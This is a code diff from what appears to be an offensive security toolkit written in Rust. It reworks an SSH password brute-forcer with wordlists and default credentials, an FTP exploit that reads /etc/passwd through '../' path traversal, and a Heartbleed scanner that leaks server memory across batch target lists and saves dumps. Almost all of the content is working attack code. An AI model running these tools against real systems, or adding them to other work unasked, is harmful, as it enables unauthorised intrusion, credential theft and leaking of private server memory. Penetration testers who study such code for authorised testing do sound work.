||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
retries,
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SSH Brute Force Module ===");
|
||||
println!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", "22")?;
|
||||
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
Ok(p) if p > 0 => break p,
|
||||
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
// Ask about default credentials
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
|
||||
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
|
||||
Some(prompt_existing_file("Username wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
|
||||
Some(prompt_existing_file("Password wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
Ok(n) if n > 0 && n <= 256 => break n,
|
||||
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "5")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n >= 1 && n <= 60 => break n,
|
||||
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
loop {
|
||||
let input = prompt_default("Max retries per attempt", "2")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 10 => break n,
|
||||
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
|
||||
}
|
||||
}
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
@@ -48,47 +192,98 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", connect_addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
println!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let users = Arc::new(users);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
// Calculate total attempts
|
||||
let total_attempts = if combo_mode {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(HashSet::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Generate credential pairs
|
||||
let mut tasks = Vec::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
|
||||
for pass in passwords {
|
||||
for pass in passwords.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let selected_users: Vec<String> = if combo_mode {
|
||||
users.iter().cloned().collect()
|
||||
usernames.iter().cloned().collect()
|
||||
} else {
|
||||
if users.is_empty() {
|
||||
if usernames.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
let user = users[user_cycle_idx % users.len()].clone();
|
||||
let user = usernames[user_cycle_idx % usernames.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user]
|
||||
}
|
||||
};
|
||||
|
||||
if selected_users.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
for user in selected_users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
@@ -99,57 +294,80 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = semaphore.clone();
|
||||
let timeout_clone = timeout_duration;
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let retry_flag = retry_on_error;
|
||||
let max_retries_clone = max_retries;
|
||||
|
||||
let permit = semaphore_clone.acquire_owned().await.unwrap();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
|
||||
let mut found_guard = found_clone.lock().await;
|
||||
found_guard.insert((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if retry_flag && retries < max_retries_clone {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> {}:{} (retry {}/{})", addr_clone, user_clone, pass_clone, retries, max_retries_clone).yellow());
|
||||
}
|
||||
sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
} else {
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> {}:{} error: {}", addr_clone, user_clone, pass_clone, e).red());
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
// Wait for all tasks
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("\n{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
@@ -160,35 +378,47 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
file.flush()?;
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
async fn try_ssh_login(
|
||||
normalized_addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let user_owned = user.to_string();
|
||||
let pass_owned = pass.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
match TcpStream::connect(&addr_owned) {
|
||||
Ok(tcp) => {
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
match sess.userauth_password(&user_owned, &pass_owned) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
|
||||
}
|
||||
})
|
||||
.await??;
|
||||
let result = timeout(
|
||||
timeout_duration,
|
||||
spawn_blocking(move || {
|
||||
let tcp = TcpStream::connect(&addr_owned)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
let mut sess = Session::new()
|
||||
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
sess.handshake()
|
||||
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
|
||||
|
||||
sess.userauth_password(&user_owned, &pass_owned)
|
||||
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
|
||||
|
||||
Ok(sess.authenticated())
|
||||
}),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Connection timeout"))??;
|
||||
|
||||
Ok(result)
|
||||
result
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
@@ -293,12 +523,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,8 +1,7 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use ftp::FtpStream;
|
||||
use std::net::ToSocketAddrs;
|
||||
use suppaftp::FtpStream;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, copy, BufRead, BufReader, Write};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
@@ -35,12 +34,8 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
|
||||
// Resolve address with better error handling
|
||||
let socket_addr = addr.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
|
||||
|
||||
let mut ftp = FtpStream::connect(socket_addr)
|
||||
// Connect to FTP server
|
||||
let mut ftp = FtpStream::connect(&addr)
|
||||
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
|
||||
|
||||
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
|
||||
@@ -48,15 +43,19 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
|
||||
|
||||
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
|
||||
.into_inner();
|
||||
let mut reader = std::io::Cursor::new(reader);
|
||||
|
||||
let safe_name = target.replace(['[', ']', ':'], "_");
|
||||
let out_file = format!("{}_passwd.txt", safe_name);
|
||||
let mut file = File::create(&out_file)?;
|
||||
copy(&mut reader, &mut file)?;
|
||||
|
||||
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
|
||||
io::copy(reader, &mut file)
|
||||
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
|
||||
std::io::ErrorKind::Other,
|
||||
format!("Failed to write file: {}", e)
|
||||
)))?;
|
||||
Ok(())
|
||||
})
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
|
||||
|
||||
ftp.quit().ok();
|
||||
|
||||
|
||||
@@ -1,37 +1,268 @@
|
||||
use anyhow::{Context, Result};
|
||||
use anyhow::{Context, Result, bail};
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::io::{Write, BufRead, BufReader};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
use tokio::time::{timeout, Duration, sleep};
|
||||
use regex::Regex;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::Colorize;
|
||||
|
||||
/// Entry point for dispatcher – uses default port 443
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_with_port(target, 443).await
|
||||
const MAX_RETRIES: u32 = 3;
|
||||
const INITIAL_BACKOFF_MS: u64 = 500;
|
||||
const MAX_CONCURRENT: usize = 10;
|
||||
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ScanConfig {
|
||||
pub port: u16,
|
||||
pub payload_size: u16,
|
||||
pub heartbeat_attempts: usize,
|
||||
pub batch_file: Option<String>,
|
||||
}
|
||||
|
||||
/// Full Heartbleed scanner with user-defined port (used internally)
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
// 1) Trim whitespace and strip _all_ bracket layers:
|
||||
impl Default for ScanConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
port: 443,
|
||||
payload_size: 0x4000,
|
||||
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
|
||||
batch_file: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let config = get_user_config(target)?;
|
||||
run_with_config(target, config).await
|
||||
}
|
||||
|
||||
fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
let mut config = ScanConfig::default();
|
||||
|
||||
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(port) = input.trim().parse::<u16>() {
|
||||
if port > 0 {
|
||||
config.port = port;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(size) = input.trim().parse::<u16>() {
|
||||
if size > 0 && size <= 0x4000 {
|
||||
config.payload_size = size;
|
||||
} else if size > 0x4000 {
|
||||
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
|
||||
config.payload_size = 0x4000;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
if let Ok(attempts) = input.trim().parse::<usize>() {
|
||||
if attempts > 0 && attempts <= 20 {
|
||||
config.heartbeat_attempts = attempts;
|
||||
} else if attempts > 20 {
|
||||
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
|
||||
config.heartbeat_attempts = 20;
|
||||
}
|
||||
}
|
||||
|
||||
if target.is_empty() {
|
||||
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
print!("{}", "Enter batch file path: ".green());
|
||||
std::io::stdout().flush()?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let batch_file = input.trim().to_string();
|
||||
|
||||
if !batch_file.is_empty() {
|
||||
if Path::new(&batch_file).exists() {
|
||||
config.batch_file = Some(batch_file);
|
||||
} else {
|
||||
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Configuration Summary:".cyan().bold());
|
||||
println!(" Port: {}", config.port);
|
||||
println!(" Payload Size: {} bytes", config.payload_size);
|
||||
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
|
||||
if let Some(ref batch) = config.batch_file {
|
||||
println!(" Batch File: {}", batch);
|
||||
}
|
||||
println!();
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
|
||||
if let Some(batch_file) = &config.batch_file {
|
||||
run_batch_scan(batch_file, &config).await
|
||||
} else {
|
||||
scan_single_target(target, &config).await
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
|
||||
let file = File::open(batch_file)
|
||||
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in batch file");
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
|
||||
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for target in targets {
|
||||
let config_clone = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
scan_single_target(&target, &config_clone).await
|
||||
}));
|
||||
}
|
||||
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
eprintln!("{}", format!("[-] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "\n[*] Batch scan complete".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
|
||||
if raw.is_empty() {
|
||||
bail!("Target address cannot be empty");
|
||||
}
|
||||
|
||||
let stripped = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']');
|
||||
|
||||
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
|
||||
let host = if stripped.contains(':') {
|
||||
let host = if stripped.contains(':') && !stripped.contains('.') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
|
||||
// 3) Build the addr string with port:
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let addr = format!("{}:{}", host, config.port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
|
||||
addr, config.payload_size, config.heartbeat_attempts).cyan());
|
||||
|
||||
let mut all_leaked_data = Vec::new();
|
||||
|
||||
for attempt in 1..=config.heartbeat_attempts {
|
||||
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
|
||||
|
||||
match scan_with_retry(&addr, config.payload_size).await {
|
||||
Ok(Some(data)) => {
|
||||
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
|
||||
all_leaked_data.extend_from_slice(&data);
|
||||
}
|
||||
Ok(None) => {
|
||||
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
|
||||
}
|
||||
}
|
||||
|
||||
if attempt < config.heartbeat_attempts {
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if all_leaked_data.is_empty() {
|
||||
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
|
||||
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
|
||||
println!();
|
||||
|
||||
analyze_leaked_data(&all_leaked_data);
|
||||
|
||||
let safe_filename = stripped
|
||||
.replace(':', "_")
|
||||
.replace('/', "_")
|
||||
.replace('\\', "_");
|
||||
let filename = format!("leak_dump_{}.bin", safe_filename);
|
||||
|
||||
save_leak_dump(&filename, &all_leaked_data)?;
|
||||
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let mut backoff = INITIAL_BACKOFF_MS;
|
||||
|
||||
for retry in 0..MAX_RETRIES {
|
||||
if retry > 0 {
|
||||
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
|
||||
sleep(Duration::from_millis(backoff)).await;
|
||||
backoff *= 2;
|
||||
}
|
||||
|
||||
match perform_heartbleed_test(addr, payload_size).await {
|
||||
Ok(data) => return Ok(data),
|
||||
Err(e) if retry < MAX_RETRIES - 1 => {
|
||||
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
bail!("All retry attempts exhausted")
|
||||
}
|
||||
|
||||
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
@@ -41,79 +272,153 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => bail!("Connection failed: {}", e),
|
||||
Err(_) => bail!("Connection timed out"),
|
||||
};
|
||||
|
||||
println!("[*] Sending Client Hello...");
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
stream.write_all(&build_client_hello()).await
|
||||
.context("Failed to send Client Hello")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Client Hello")?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (Client Hello response)");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Ok(n)) if n > 0 => {},
|
||||
Ok(Ok(_)) => bail!("No response to Client Hello"),
|
||||
Ok(Err(e)) => bail!("Read error: {}", e),
|
||||
Err(_) => bail!("Read timed out"),
|
||||
}
|
||||
|
||||
println!("[*] Sending Heartbeat...");
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
stream.write_all(&build_heartbeat_request(payload_size)).await
|
||||
.context("Failed to send Heartbeat request")?;
|
||||
stream.flush().await
|
||||
